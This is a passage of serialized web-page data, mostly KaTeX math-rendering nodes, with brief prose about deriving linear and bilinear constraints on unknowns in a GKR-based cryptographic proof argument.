":24,"tag":271,"props":126195,"children":126197},{"className":126196},[11777,11778,11779,11780],[126198],{"type":24,"tag":271,"props":126199,"children":126201},{"className":126200},[11732,29273,11780],[126202],{"type":29,"value":11462},{"type":24,"tag":271,"props":126204,"children":126206},{"className":126205},[29430],[126207],{"type":29,"value":29433},{"type":24,"tag":271,"props":126209,"children":126211},{"className":126210},[11757],[126212],{"type":24,"tag":271,"props":126213,"children":126215},{"className":126214,"style":121324},[11762],[126216],{"type":24,"tag":271,"props":126217,"children":126218},{},[],{"type":24,"tag":271,"props":126220,"children":126222},{"className":126221,"style":11849},[11810],[],{"type":24,"tag":271,"props":126224,"children":126226},{"className":126225},[11732,29],[126227],{"type":24,"tag":271,"props":126228,"children":126230},{"className":126229},[11732],[126231],{"type":29,"value":100656},{"type":24,"tag":271,"props":126233,"children":126235},{"className":126234,"style":99837},[11732],[126236],{"type":29,"value":10818},{"type":24,"tag":271,"props":126238,"children":126240},{"className":126239},[11732,29],[126241],{"type":24,"tag":271,"props":126242,"children":126244},{"className":126243},[11732],[126245],{"type":29,"value":125511},{"type":24,"tag":271,"props":126247,"children":126249},{"className":126248,"style":99837},[11732],[126250],{"type":29,"value":10818},{"type":24,"tag":271,"props":126252,"children":126254},{"className":126253},[11732],[126255,126264],{"type":24,"tag":271,"props":126256,"children":126258},{"className":126257},[11732,29],[126259],{"type":24,"tag":271,"props":126260,"children":126262},{"className":126261},[11732],[126263],{"type":29,"value":125530},{"type":24,"tag":271,"props":126265,"children":126267},{"className":126266},[11747],[126268],{"type":24,"tag":271,"props":126269,"children":126271},{"className":126270},[11752,29327],[126272,126301],{"type":24,"tag":271,"props":126273,"children":126275},{"className":126274},[11757],[126276,126296],{"type":24,"tag":271,"props":126277,"children":126279},{"className":126278,"style":100366},[11762],[126280],{"type":24,"tag":271,"props":126281,"children":126282},{"style":120967},[126283,126287],{"type":24,"tag":271,"props":126284,"children":126286},{"className":126285,"style":11772},[11771],[],{"type":24,"tag":271,"props":126288,"children":126290},{"className":126289},[11777,11778,11779,11780],[126291],{"type":24,"tag":271,"props":126292,"children":126294},{"className":126293},[11732,29273,11780],[126295],{"type":29,"value":11462},{"type":24,"tag":271,"props":126297,"children":126299},{"className":126298},[29430],[126300],{"type":29,"value":29433},{"type":24,"tag":271,"props":126302,"children":126304},{"className":126303},[11757],[126305],{"type":24,"tag":271,"props":126306,"children":126308},{"className":126307,"style":99920},[11762],[126309],{"type":24,"tag":271,"props":126310,"children":126311},{},[],{"type":24,"tag":271,"props":126313,"children":126315},{"className":126314,"style":11908},[11810],[],{"type":24,"tag":271,"props":126317,"children":126319},{"className":126318},[11913],[126320],{"type":29,"value":762},{"type":24,"tag":271,"props":126322,"children":126324},{"className":126323,"style":11908},[11810],[],{"type":24,"tag":271,"props":126326,"children":126328},{"className":126327},[11721],[126329,126333,126390,126394,126403,126408,126417,126422,126483,126487,126492],{"type":24,"tag":271,"props":126330,"children":126332},{"className":126331,"style":125599},[11726],[],{"type":24,"tag":271,"props":126334,"children":126336},{"className":126335},[29309],[126337,126342],{"type":24,"tag":271,"props":126338,"children":126340},{"className":126339,"style":29316},[29309,29314,29315],[126341],{"type":29,"value":125435},{"type":24,"tag":271,"props":126343,"children":126345},{"className":126344},[11747],[126346],{"type":24,"tag":271,"props":126347,"children":126349},{"className":126348},[11752,29327],[126350,126379],{"type":24,"tag":271,"props":126351,"children":126353},{"className":126352},[11757],[126354,126374],{"type":24,"tag":271,"props":126355,"children":126357},{"className":126356,"style":121044},[11762],[126358],{"type":24,"tag":271,"props":126359,"children":126360},{"style":29340},[126361,126365],{"type":24,"tag":271,"props":126362,"children":126364},{"className":126363,"style":11772},[11771],[],{"type":24,"tag":271,"props":126366,"children":126368},{"className":126367},[11777,11778,11779,11780],[126369],{"type":24,"tag":271,"props":126370,"children":126372},{"className":126371,"style":121060},[11732,29273,11780],[126373],{"type":29,"value":16370},{"type":24,"tag":271,"props":126375,"children":126377},{"className":126376},[29430],[126378],{"type":29,"value":29433},{"type":24,"tag":271,"props":126380,"children":126382},{"className":126381},[11757],[126383],{"type":24,"tag":271,"props":126384,"children":126386},{"className":126385,"style":121075},[11762],[126387],{"type":24,"tag":271,"props":126388,"children":126389},{},[],{"type":24,"tag":271,"props":126391,"children":126393},{"className":126392,"style":11849},[11810],[],{"type":24,"tag":271,"props":126395,"children":126397},{"className":126396},[11732,29],[126398],{"type":24,"tag":271,"props":126399,"children":126401},{"className":126400},[11732],[126402],{"type":29,"value":2930},{"type":24,"tag":271,"props":126404,"children":126406},{"className":126405,"style":99837},[11732],[126407],{"type":29,"value":10818},{"type":24,"tag":271,"props":126409,"children":126411},{"className":126410},[11732,29],[126412],{"type":24,"tag":271,"props":126413,"children":126415},{"className":126414},[11732],[126416],{"type":29,"value":125511},{"type":24,"tag":271,"props":126418,"children":126420},{"className":126419,"style":99837},[11732],[126421],{"type":29,"value":10818},{"type":24,"tag":271,"props":126423,"children":126425},{"className":126424},[11732],[126426,126435],{"type":24,"tag":271,"props":126427,"children":126429},{"className":126428},[11732,29],[126430],{"type":24,"tag":271,"props":126431,"children":126433},{"className":126432},[11732],[126434],{"type":29,"value":125530},{"type":24,"tag":271,"props":126436,"children":126438},{"className":126437},[11747],[126439],{"type":24,"tag":271,"props":126440,"children":126442},{"className":126441},[11752,29327],[126443,126472],{"type":24,"tag":271,"props":126444,"children":126446},{"className":126445},[11757],[126447,126467],{"type":24,"tag":271,"props":126448,"children":126450},{"className":126449,"style":100366},[11762],[126451],{"type":24,"tag":271,"props":126452,"children":126453},{"style":120967},[126454,126458],{"type":24,"tag":271,"props":126455,"children":126457},{"className":126456,"style":11772},[11771],[],{"type":24,"tag":271,"props":126459,"children":126461},{"className":126460},[11777,11778,11779,11780],[126462],{"type":24,"tag":271,"props":126463,"children":126465},{"className":126464,"style":121060},[11732,29273,11780],[126466],{"type":29,"value":16370},{"type":24,"tag":271,"props":126468,"children":126470},{"className":126469},[29430],[126471],{"type":29,"value":29433},{"type":24,"tag":271,"props":126473,"children":126475},{"className":126474},[11757],[126476],{"type":24,"tag":271,"props":126477,"children":126479},{"className":126478,"style":125747},[11762],[126480],{"type":24,"tag":271,"props":126481,"children":126482},{},[],{"type":24,"tag":271,"props":126484,"children":126486},{"className":126485,"style":11811},[11810],[],{"type":24,"tag":271,"props":126488,"children":126490},{"className":126489},[11816],[126491],{"type":29,"value":118099},{"type":24,"tag":271,"props":126493,"children":126495},{"className":126494,"style":11811},[11810],[],{"type":24,"tag":271,"props":126497,"children":126499},{"className":126498},[11721],[126500,126504,126509,126518],{"type":24,"tag":271,"props":126501,"children":126503},{"className":126502,"style":11831},[11726],[],{"type":24,"tag":271,"props":126505,"children":126507},{"className":126506},[29402],[126508],{"type":29,"value":606},{"type":24,"tag":271,"props":126510,"children":126512},{"className":126511},[11732,29],[126513],{"type":24,"tag":271,"props":126514,"children":126516},{"className":126515},[11732],[126517],{"type":29,"value":125787},{"type":24,"tag":271,"props":126519,"children":126521},{"className":126520},[29424],[126522],{"type":29,"value":2693},{"type":24,"tag":25,"props":126524,"children":126525},{},[126526,126528,126697,126698,126867],{"type":29,"value":126527},"If we vary ",{"type":24,"tag":135,"props":126529,"children":126531},{"className":126530},[11705,11706],[126532],{"type":24,"tag":271,"props":126533,"children":126535},{"className":126534},[11711],[126536],{"type":24,"tag":271,"props":126537,"children":126539},{"className":126538,"ariaHidden":5670},[11716],[126540,126618],{"type":24,"tag":271,"props":126541,"children":126543},{"className":126542},[11721],[126544,126548,126605,126609,126614],{"type":24,"tag":271,"props":126545,"children":126547},{"className":126546,"style":116807},[11726],[],{"type":24,"tag":271,"props":126549,"children":126551},{"className":126550},[11732],[126552,126557],{"type":24,"tag":271,"props":126553,"children":126555},{"className":126554},[11732,29273],[126556],{"type":29,"value":6034},{"type":24,"tag":271,"props":126558,"children":126560},{"className":126559},[11747],[126561],{"type":24,"tag":271,"props":126562,"children":126564},{"className":126563},[11752,29327],[126565,126594],{"type":24,"tag":271,"props":126566,"children":126568},{"className":126567},[11757],[126569,126589],{"type":24,"tag":271,"props":126570,"children":126572},{"className":126571,"style":99889},[11762],[126573],{"type":24,"tag":271,"props":126574,"children":126575},{"style":99893},[126576,126580],{"type":24,"tag":271,"props":126577,"children":126579},{"className":126578,"style":11772},[11771],[],{"type":24,"tag":271,"props":126581,"children":126583},{"className":126582},[11777,11778,11779,11780],[126584],{"type":24,"tag":271,"props":126585,"children":126587},{"className":126586},[11732,11780],[126588],{"type":29,"value":4121},{"type":24,"tag":271,"props":126590,"children":126592},{"className":126591},[29430],[126593],{"type":29,"value":29433},{"type":24,"tag":271,"props":126595,"children":126597},{"className":126596},[11757],[126598],{"type":24,"tag":271,"props":126599,"children":126601},{"className":126600,"style":99920},[11762],[126602],{"type":24,"tag":271,"props":126603,"children":126604},{},[],{"type":24,"tag":271,"props":126606,"children":126608},{"className":126607,"style":11908},[11810],[],{"type":24,"tag":271,"props":126610,"children":126612},{"className":126611},[11913],[126613],{"type":29,"value":762},{"type":24,"tag":271,"props":126615,"children":126617},{"className":126616,"style":11908},[11810],[],{"type":24,"tag":271,"props":126619,"children":126621},{"className":126620},[11721],[126622,126626,126667,126672,126677,126682,126687,126692],{"type":24,"tag":271,"props":126623,"children":126625},{"className":126624,"style":99779},[11726],[],{"type":24,"tag":271,"props":126627,"children":126629},{"className":126628},[11732],[126630,126639,126644,126653,126658],{"type":24,"tag":271,"props":126631,"children":126633},{"className":126632},[11732,29],[126634],{"type":24,"tag":271,"props":126635,"children":126637},{"className":126636},[11732],[126638],{"type":29,"value":100656},{"type":24,"tag":271,"props":126640,"children":126642},{"className":126641,"style":99837},[11732],[126643],{"type":29,"value":10818},{"type":24,"tag":271,"props":126645,"children":126647},{"className":126646},[11732,29],[126648],{"type":24,"tag":271,"props":126649,"children":126651},{"className":126650},[11732],[126652],{"type":29,"value":125511},{"type":24,"tag":271,"props":126654,"children":126656},{"className":126655,"style":99837},[11732],[126657],{"type":29,"value":10818},{"type":24,"tag":271,"props":126659,"children":126661},{"className":126660},[11732,29],[126662],{"type":24,"tag":271,"props":126663,"children":126665},{"className":126664},[11732],[126666],{"type":29,"value":125530},{"type":24,"tag":271,"props":126668,"children":126670},{"className":126669},[29402],[126671],{"type":29,"value":4520},{"type":24,"tag":271,"props":126673,"children":126675},{"className":126674},[11732],[126676],{"type":29,"value":4121},{"type":24,"tag":271,"props":126678,"children":126680},{"className":126679},[29424],[126681],{"type":29,"value":23108},{"type":24,"tag":271,"props":126683,"children":126685},{"className":126684},[29402],[126686],{"type":29,"value":4520},{"type":24,"tag":271,"props":126688,"children":126690},{"className":126689},[11732],[126691],{"type":29,"value":4121},{"type":24,"tag":271,"props":126693,"children":126695},{"className":126694},[29424],[126696],{"type":29,"value":23108},{"type":29,"value":518},{"type":24,"tag":135,"props":126699,"children":126701},{"className":126700},[11705,11706],[126702],{"type":24,"tag":271,"props":126703,"children":126705},{"className":126704},[11711],[126706],{"type":24,"tag":271,"props":126707,"children":126709},{"className":126708,"ariaHidden":5670},[11716],[126710,126788],{"type":24,"tag":271,"props":126711,"children":126713},{"className":126712},[11721],[126714,126718,126775,126779,126784],{"type":24,"tag":271,"props":126715,"children":126717},{"className":126716,"style":116807},[11726],[],{"type":24,"tag":271,"props":126719,"children":126721},{"className":126720},[11732],[126722,126727],{"type":24,"tag":271,"props":126723,"children":126725},{"className":126724},[11732,29273],[126726],{"type":29,"value":6034},{"type":24,"tag":271,"props":126728,"children":126730},{"className":126729},[11747],[126731],{"type":24,"tag":271,"props":126732,"children":126734},{"className":126733},[11752,29327],[126735,126764],{"type":24,"tag":271,"props":126736,"children":126738},{"className":126737},[11757],[126739,126759],{"type":24,"tag":271,"props":126740,"children":126742},{"className":126741,"style":99889},[11762],[126743],{"type":24,"tag":271,"props":126744,"children":126745},{"style":99893},[126746,126750],{"type":24,"tag":271,"props":126747,"children":126749},{"className":126748,"style":11772},[11771],[],{"type":24,"tag":271,"props":126751,"children":126753},{"className":126752},[11777,11778,11779,11780],[126754],{"type":24,"tag":271,"props":126755,"children":126757},{"className":126756},[11732,11780],[126758],{"type":29,"value":156},{"type":24,"tag":271,"props":126760,"children":126762},{"className":126761},[29430],[126763],{"type":29,"value":29433},{"type":24,"tag":271,"props":126765,"children":126767},{"className":126766},[11757],[126768],{"type":24,"tag":271,"props":126769,"children":126771},{"className":126770,"style":99920},[11762],[126772],{"type":24,"tag":271,"props":126773,"children":126774},{},[],{"type":24,"tag":271,"props":126776,"children":126778},{"className":126777,"style":11908},[11810],[],{"type":24,"tag":271,"props":126780,"children":126782},{"className":126781},[11913],[126783],{"type":29,"value":762},{"type":24,"tag":271,"props":126785,"children":126787},{"className":126786,"style":11908},[11810],[],{"type":24,"tag":271,"props":126789,"children":126791},{"className":126790},[11721],[126792,126796,126837,126842,126847,126852,126857,126862],{"type":24,"tag":271,"props":126793,"children":126795},{"className":126794,"style":99779},[11726],[],{"type":24,"tag":271,"props":126797,"children":126799},{"className":126798},[11732],[126800,126809,126814,126823,126828],{"type":24,"tag":271,"props":126801,"children":126803},{"className":126802},[11732,29],[126804],{"type":24,"tag":271,"props":126805,"children":126807},{"className":126806},[11732],[126808],{"type":29,"value":100656},{"type":24,"tag":271,"props":126810,"children":126812},{"className":126811,"style":99837},[11732],[126813],{"type":29,"value":10818},{"type":24,"tag":271,"props":126815,"children":126817},{"className":126816},[11732,29],[126818],{"type":24,"tag":271,"props":126819,"children":126821},{"className":126820},[11732],[126822],{"type":29,"value":125511},{"type":24,"tag":271,"props":126824,"children":126826},{"className":126825,"style":99837},[11732],[126827],{"type":29,"value":10818},{"type":24,"tag":271,"props":126829,"children":126831},{"className":126830},[11732,29],[126832],{"type":24,"tag":271,"props":126833,"children":126835},{"className":126834},[11732],[126836],{"type":29,"value":125530},{"type":24,"tag":271,"props":126838,"children":126840},{"className":126839},[29402],[126841],{"type":29,"value":4520},{"type":24,"tag":271,"props":126843,"children":126845},{"className":126844},[11732],[126846],{"type":29,"value":4121},{"type":24,"tag":271,"props":126848,"children":126850},{"className":126849},[29424],[126851],{"type":29,"value":23108},{"type":24,"tag":271,"props":126853,"children":126855},{"className":126854},[29402],[126856],{"type":29,"value":4520},{"type":24,"tag":271,"props":126858,"children":126860},{"className":126859},[11732],[126861],{"type":29,"value":156},{"type":24,"tag":271,"props":126863,"children":126865},{"className":126864},[29424],[126866],{"type":29,"value":23108},{"type":29,"value":126868}," we get the following constraint:",{"type":24,"tag":25,"props":126870,"children":126871},{},[126872],{"type":24,"tag":135,"props":126873,"children":126875},{"className":126874},[11705,11706],[126876],{"type":24,"tag":271,"props":126877,"children":126879},{"className":126878},[11711],[126880],{"type":24,"tag":271,"props":126881,"children":126883},{"className":126882,"ariaHidden":5670},[11716],[126884,126963,127041,127082],{"type":24,"tag":271,"props":126885,"children":126887},{"className":126886},[11721],[126888,126893,126950,126954,126959],{"type":24,"tag":271,"props":126889,"children":126892},{"className":126890,"style":126891},[11726],"height:0.5945em;vertical-align:-0.15em;",[],{"type":24,"tag":271,"props":126894,"children":126896},{"className":126895},[11732],[126897,126902],{"type":24,"tag":271,"props":126898,"children":126900},{"className":126899},[11732,29273],[126901],{"type":29,"value":6034},{"type":24,"tag":271,"props":126903,"children":126905},{"className":126904},[11747],[126906],{"type":24,"tag":271,"props":126907,"children":126909},{"className":126908},[11752,29327],[126910,126939],{"type":24,"tag":271,"props":126911,"children":126913},{"className":126912},[11757],[126914,126934],{"type":24,"tag":271,"props":126915,"children":126917},{"className":126916,"style":99889},[11762],[126918],{"type":24,"tag":271,"props":126919,"children":126920},{"style":99893},[126921,126925],{"type":24,"tag":271,"props":126922,"children":126924},{"className":126923,"style":11772},[11771],[],{"type":24,"tag":271,"props":126926,"children":126928},{"className":126927},[11777,11778,11779,11780],[126929],{"type":24,"tag":271,"props":126930,"children":126932},{"className":126931},[11732,11780],[126933],{"type":29,"value":4121},{"type":24,"tag":271,"props":126935,"children":126937},{"className":126936},[29430],[126938],{"type":29,"value":29433},{"type":24,"tag":271,"props":126940,"children":126942},{"className":126941},[11757],[126943],{"type":24,"tag":271,"props":126944,"children":126946},{"className":126945,"style":99920},[11762],[126947],{"type":24,"tag":271,"props":126948,"children":126949},{},[],{"type":24,"tag":271,"props":126951,"children":126953},{"className":126952,"style":11811},[11810],[],{"type":24,"tag":271,"props":126955,"children":126957},{"className":126956},[11816],[126958],{"type":29,"value":118099},{"type":24,"tag":271,"props":126960,"children":126962},{"className":126961,"style":11811},[11810],[],{"type":24,"tag":271,"props":126964,"children":126966},{"className":126965},[11721],[126967,126971,127028,127032,127037],{"type":24,"tag":271,"props":126968,"children":126970},{"className":126969,"style":126891},[11726],[],{"type":24,"tag":271,"props":126972,"children":126974},{"className":126973},[11732],[126975,126980],{"type":24,"tag":271,"props":126976,"children":126978},{"className":126977},[11732,29273],[126979],{"type":29,"value":6034},{"type":24,"tag":271,"props":126981,"children":126983},{"className":126982},[11747],[126984],{"type":24,"tag":271,"props":126985,"children":126987},{"className":126986},[11752,29327],[126988,127017],{"type":24,"tag":271,"props":126989,"children":126991},{"className":126990},[11757],[126992,127012],{"type":24,"tag":271,"props":126993,"children":126995},{"className":126994,"style":99889},[11762],[126996],{"type":24,"tag":271,"props":126997,"children":126998},{"style":99893},[126999,127003],{"type":24,"tag":271,"props":127000,"children":127002},{"className":127001,"style":11772},[11771],[],{"type":24,"tag":271,"props":127004,"children":127006},{"className":127005},[11777,11778,11779,11780],[127007],{"type":24,"tag":271,"props":127008,"children":127010},{"className":127009},[11732,11780],[127011],{"type":29,"value":156},{"type":24,"tag":271,"props":127013,"children":127015},{"className":127014},[29430],[127016],{"type":29,"value":29433},{"type":24,"tag":271,"props":127018,"children":127020},{"className":127019},[11757],[127021],{"type":24,"tag":271,"props":127022,"children":127024},{"className":127023,"style":99920},[11762],[127025],{"type":24,"tag":271,"props":127026,"children":127027},{},[],{"type":24,"tag":271,"props":127029,"children":127031},{"className":127030,"style":11811},[11810],[],{"type":24,"tag":271,"props":127033,"children":127035},{"className":127034},[11816],[127036],{"type":29,"value":118099},{"type":24,"tag":271,"props":127038,"children":127040},{"className":127039,"style":11811},[11810],[],{"type":24,"tag":271,"props":127042,"children":127044},{"className":127043},[11721],[127045,127049,127054,127064,127069,127073,127078],{"type":24,"tag":271,"props":127046,"children":127048},{"className":127047,"style":11831},[11726],[],{"type":24,"tag":271,"props":127050,"children":127052},{"className":127051},[29402],[127053],{"type":29,"value":606},{"type":24,"tag":271,"props":127055,"children":127057},{"className":127056},[11732,29],[127058],{"type":24,"tag":271,"props":127059,"children":127061},{"className":127060},[11732],[127062],{"type":29,"value":127063},"rest of product",{"type":24,"tag":271,"props":127065,"children":127067},{"className":127066},[29424],[127068],{"type":29,"value":2693},{"type":24,"tag":271,"props":127070,"children":127072},{"className":127071,"style":11908},[11810],[],{"type":24,"tag":271,"props":127074,"children":127076},{"className":127075},[11913],[127077],{"type":29,"value":762},{"type":24,"tag":271,"props":127079,"children":127081},{"className":127080,"style":11908},[11810],[],{"type":24,"tag":271,"props":127083,"children":127085},{"className":127084},[11721],[127086,127090],{"type":24,"tag":271,"props":127087,"children":127089},{"className":127088,"style":121857},[11726],[],{"type":24,"tag":271,"props":127091,"children":127093},{"className":127092},[11732,29],[127094],{"type":24,"tag":271,"props":127095,"children":127097},{"className":127096},[11732],[127098],{"type":29,"value":121868},{"type":24,"tag":25,"props":127100,"children":127101},{},[127102,127104,127257],{"type":29,"value":127103},"This is bilinear in ",{"type":24,"tag":135,"props":127105,"children":127107},{"className":127106},[11705,11706],[127108],{"type":24,"tag":271,"props":127109,"children":127111},{"className":127110},[11711],[127112],{"type":24,"tag":271,"props":127113,"children":127115},{"className":127114,"ariaHidden":5670},[11716],[127116],{"type":24,"tag":271,"props":127117,"children":127119},{"className":127118},[11721],[127120,127124,127129,127186,127191,127195,127252],{"type":24,"tag":271,"props":127121,"children":127123},{"className":127122,"style":11831},[11726],[],{"type":24,"tag":271,"props":127125,"children":127127},{"className":127126},[29402],[127128],{"type":29,"value":606},{"type":24,"tag":271,"props":127130,"children":127132},{"className":127131},[11732],[127133,127138],{"type":24,"tag":271,"props":127134,"children":127136},{"className":127135},[11732,29273],[127137],{"type":29,"value":6034},{"type":24,"tag":271,"props":127139,"children":127141},{"className":127140},[11747],[127142],{"type":24,"tag":271,"props":127143,"children":127145},{"className":127144},[11752,29327],[127146,127175],{"type":24,"tag":271,"props":127147,"children":127149},{"className":127148},[11757],[127150,127170],{"type":24,"tag":271,"props":127151,"children":127153},{"className":127152,"style":99889},[11762],[127154],{"type":24,"tag":271,"props":127155,"children":127156},{"style":99893},[127157,127161],{"type":24,"tag":271,"props":127158,"children":127160},{"className":127159,"style":11772},[11771],[],{"type":24,"tag":271,"props":127162,"children":127164},{"className":127163},[11777,11778,11779,11780],[127165],{"type":24,"tag":271,"props":127166,"children":127168},{"className":127167},[11732,11780],[127169],{"type":29,"value":4121},{"type":24,"tag":271,"props":127171,"children":127173},{"className":127172},[29430],[127174],{"type":29,"value":29433},{"type":24,"tag":271,"props":127176,"children":127178},{"className":127177},[11757],[127179],{"type":24,"tag":271,"props":127180,"children":127182},{"className":127181,"style":99920},[11762],[127183],{"type":24,"tag":271,"props":127184,"children":127185},{},[],{"type":24,"tag":271,"props":127187,"children":127189},{"className":127188},[11842],[127190],{"type":29,"value":11845},{"type":24,"tag":271,"props":127192,"children":127194},{"className":127193,"style":11849},[11810],[],{"type":24,"tag":271,"props":127196,"children":127198},{"className":127197},[11732],[127199,127204],{"type":24,"tag":271,"props":127200,"children":127202},{"className":127201},[11732,29273],[127203],{"type":29,"value":6034},{"type":24,"tag":271,"props":127205,"children":127207},{"className":127206},[11747],[127208],{"type":24,"tag":271,"props":127209,"children":127211},{"className":127210},[11752,29327],[127212,127241],{"type":24,"tag":271,"props":127213,"children":127215},{"className":127214},[11757],[127216,127236],{"type":24,"tag":271,"props":127217,"children":127219},{"className":127218,"style":99889},[11762],[127220],{"type":24,"tag":271,"props":127221,"children":127222},{"style":99893},[127223,127227],{"type":24,"tag":271,"props":127224,"children":127226},{"className":127225,"style":11772},[11771],[],{"type":24,"tag":271,"props":127228,"children":127230},{"className":127229},[11777,11778,11779,11780],[127231],{"type":24,"tag":271,"props":127232,"children":127234},{"className":127233},[11732,11780],[127235],{"type":29,"value":156},{"type":24,"tag":271,"props":127237,"children":127239},{"className":127238},[29430],[127240],{"type":29,"value":29433},{"type":24,"tag":271,"props":127242,"children":127244},{"className":127243},[11757],[127245],{"type":24,"tag":271,"props":127246,"children":127248},{"className":127247,"style":99920},[11762],[127249],{"type":24,"tag":271,"props":127250,"children":127251},{},[],{"type":24,"tag":271,"props":127253,"children":127255},{"className":127254},[29424],[127256],{"type":29,"value":2693},{"type":29,"value":41},{"type":24,"tag":25,"props":127259,"children":127260},{},[127261,127263,127416],{"type":29,"value":127262},"We have two unknowns ",{"type":24,"tag":135,"props":127264,"children":127266},{"className":127265},[11705,11706],[127267],{"type":24,"tag":271,"props":127268,"children":127270},{"className":127269},[11711],[127271],{"type":24,"tag":271,"props":127272,"children":127274},{"className":127273,"ariaHidden":5670},[11716],[127275],{"type":24,"tag":271,"props":127276,"children":127278},{"className":127277},[11721],[127279,127283,127288,127345,127350,127354,127411],{"type":24,"tag":271,"props":127280,"children":127282},{"className":127281,"style":11831},[11726],[],{"type":24,"tag":271,"props":127284,"children":127286},{"className":127285},[29402],[127287],{"type":29,"value":606},{"type":24,"tag":271,"props":127289,"children":127291},{"className":127290},[11732],[127292,127297],{"type":24,"tag":271,"props":127293,"children":127295},{"className":127294},[11732,29273],[127296],{"type":29,"value":6034},{"type":24,"tag":271,"props":127298,"children":127300},{"className":127299},[11747],[127301],{"type":24,"tag":271,"props":127302,"children":127304},{"className":127303},[11752,29327],[127305,127334],{"type":24,"tag":271,"props":127306,"children":127308},{"className":127307},[11757],[127309,127329],{"type":24,"tag":271,"props":127310,"children":127312},{"className":127311,"style":99889},[11762],[127313],{"type":24,"tag":271,"props":127314,"children":127315},{"style":99893},[127316,127320],{"type":24,"tag":271,"props":127317,"children":127319},{"className":127318,"style":11772},[11771],[],{"type":24,"tag":271,"props":127321,"children":127323},{"className":127322},[11777,11778,11779,11780],[127324],{"type":24,"tag":271,"props":127325,"children":127327},{"className":127326},[11732,11780],[127328],{"type":29,"value":4121},{"type":24,"tag":271,"props":127330,"children":127332},{"className":127331},[29430],[127333],{"type":29,"value":29433},{"type":24,"tag":271,"props":127335,"children":127337},{"className":127336},[11757],[127338],{"type":24,"tag":271,"props":127339,"children":127341},{"className":127340,"style":99920},[11762],[127342],{"type":24,"tag":271,"props":127343,"children":127344},{},[],{"type":24,"tag":271,"props":127346,"children":127348},{"className":127347},[11842],[127349],{"type":29,"value":11845},{"type":24,"tag":271,"props":127351,"children":127353},{"className":127352,"style":11849},[11810],[],{"type":24,"tag":271,"props":127355,"children":127357},{"className":127356},[11732],[127358,127363],{"type":24,"tag":271,"props":127359,"children":127361},{"className":127360},[11732,29273],[127362],{"type":29,"value":6034},{"type":24,"tag":271,"props":127364,"children":127366},{"className":127365},[11747],[127367],{"type":24,"tag":271,"props":127368,"children":127370},{"className":127369},[11752,29327],[127371,127400],{"type":24,"tag":271,"props":127372,"children":127374},{"className":127373},[11757],[127375,127395],{"type":24,"tag":271,"props":127376,"children":127378},{"className":127377,"style":99889},[11762],[127379],{"type":24,"tag":271,"props":127380,"children":127381},{"style":99893},[127382,127386],{"type":24,"tag":271,"props":127383,"children":127385},{"className":127384,"style":11772},[11771],[],{"type":24,"tag":271,"props":127387,"children":127389},{"className":127388},[11777,11778,11779,11780],[127390],{"type":24,"tag":271,"props":127391,"children":127393},{"className":127392},[11732,11780],[127394],{"type":29,"value":156},{"type":24,"tag":271,"props":127396,"children":127398},{"className":127397},[29430],[127399],{"type":29,"value":29433},{"type":24,"tag":271,"props":127401,"children":127403},{"className":127402},[11757],[127404],{"type":24,"tag":271,"props":127405,"children":127407},{"className":127406,"style":99920},[11762],[127408],{"type":24,"tag":271,"props":127409,"children":127410},{},[],{"type":24,"tag":271,"props":127412,"children":127414},{"className":127413},[29424],[127415],{"type":29,"value":2693},{"type":29,"value":127417}," and two equations, one linear and one bilinear:",{"type":24,"tag":3834,"props":127419,"children":127420},{},[127421,127748],{"type":24,"tag":101,"props":127422,"children":127423},{},[127424,127426],{"type":29,"value":127425},"Linear (from GKR): ",{"type":24,"tag":135,"props":127427,"children":127429},{"className":127428},[11705,11706],[127430],{"type":24,"tag":271,"props":127431,"children":127433},{"className":127432},[11711],[127434],{"type":24,"tag":271,"props":127435,"children":127437},{"className":127436,"ariaHidden":5670},[11716],[127438,127574,127709,127735],{"type":24,"tag":271,"props":127439,"children":127441},{"className":127440},[11721],[127442,127447,127504,127561,127565,127570],{"type":24,"tag":271,"props":127443,"children":127446},{"className":127444,"style":127445},[11726],"height:0.7333em;vertical-align:-0.15em;",[],{"type":24,"tag":271,"props":127448,"children":127450},{"className":127449},[11732],[127451,127456],{"type":24,"tag":271,"props":127452,"children":127454},{"className":127453},[11732,29273],[127455],{"type":29,"value":32},{"type":24,"tag":271,"props":127457,"children":127459},{"className":127458},[11747],[127460],{"type":24,"tag":271,"props":127461,"children":127463},{"className":127462},[11752,29327],[127464,127493],{"type":24,"tag":271,"props":127465,"children":127467},{"className":127466},[11757],[127468,127488],{"type":24,"tag":271,"props":127469,"children":127471},{"className":127470,"style":99889},[11762],[127472],{"type":24,"tag":271,"props":127473,"children":127474},{"style":99893},[127475,127479],{"type":24,"tag":271,"props":127476,"children":127478},{"className":127477,"style":11772},[11771],[],{"type":24,"tag":271,"props":127480,"children":127482},{"className":127481},[11777,11778,11779,11780],[127483],{"type":24,"tag":271,"props":127484,"children":127486},{"className":127485},[11732,11780],[127487],{"type":29,"value":4121},{"type":24,"tag":271,"props":127489,"children":127491},{"className":127490},[29430],[127492],{"type":29,"value":29433},{"type":24,"tag":271,"props":127494,"children":127496},{"className":127495},[11757],[127497],{"type":24,"tag":271,"props":127498,"children":127500},{"className":127499,"style":99920},[11762],[127501],{"type":24,"tag":271,"props":127502,"children":127503},{},[],{"type":24,"tag":271,"props":127505,"children":127507},{"className":127506},[11732],[127508,127513],{"type":24,"tag":271,"props":127509,"children":127511},{"className":127510},[11732,29273],[127512],{"type":29,"value":6034},{"type":24,"tag":271,"props":127514,"children":127516},{"className":127515},[11747],[127517],{"type":24,"tag":271,"props":127518,"children":127520},{"className":127519},[11752,29327],[127521,127550],{"type":24,"tag":271,"props":127522,"children":127524},{"className":127523},[11757],[127525,127545],{"type":24,"tag":271,"props":127526,"children":127528},{"className":127527,"style":99889},[11762],[127529],{"type":24,"tag":271,"props":127530,"children":127531},{"style":99893},[127532,127536],{"type":24,"tag":271,"props":127533,"children":127535},{"className":127534,"style":11772},[11771],[],{"type":24,"tag":271,"props":127537,"children":127539},{"className":127538},[11777,11778,11779,11780],[127540],{"type":24,"tag":271,"props":127541,"children":127543},{"className":127542},[11732,11780],[127544],{"type":29,"value":4121},{"type":24,"tag":271,"props":127546,"children":127548},{"className":127547},[29430],[127549],{"type":29,"value":29433},{"type":24,"tag":271,"props":127551,"children":127553},{"className":127552},[11757],[127554],{"type":24,"tag":271,"props":127555,"children":127557},{"className":127556,"style":99920},[11762],[127558],{"type":24,"tag":271,"props":127559,"children":127560},{},[],{"type":24,"tag":271,"props":127562,"children":127564},{"className":127563,"style":11811},[11810],[],{"type":24,"tag":271,"props":127566,"children":127568},{"className":127567},[11816],[127569],{"type":29,"value":1012},{"type":24,"tag":271,"props":127571,"children":127573},{"className":127572,"style":11811},[11810],[],{"type":24,"tag":271,"props":127575,"children":127577},{"className":127576},[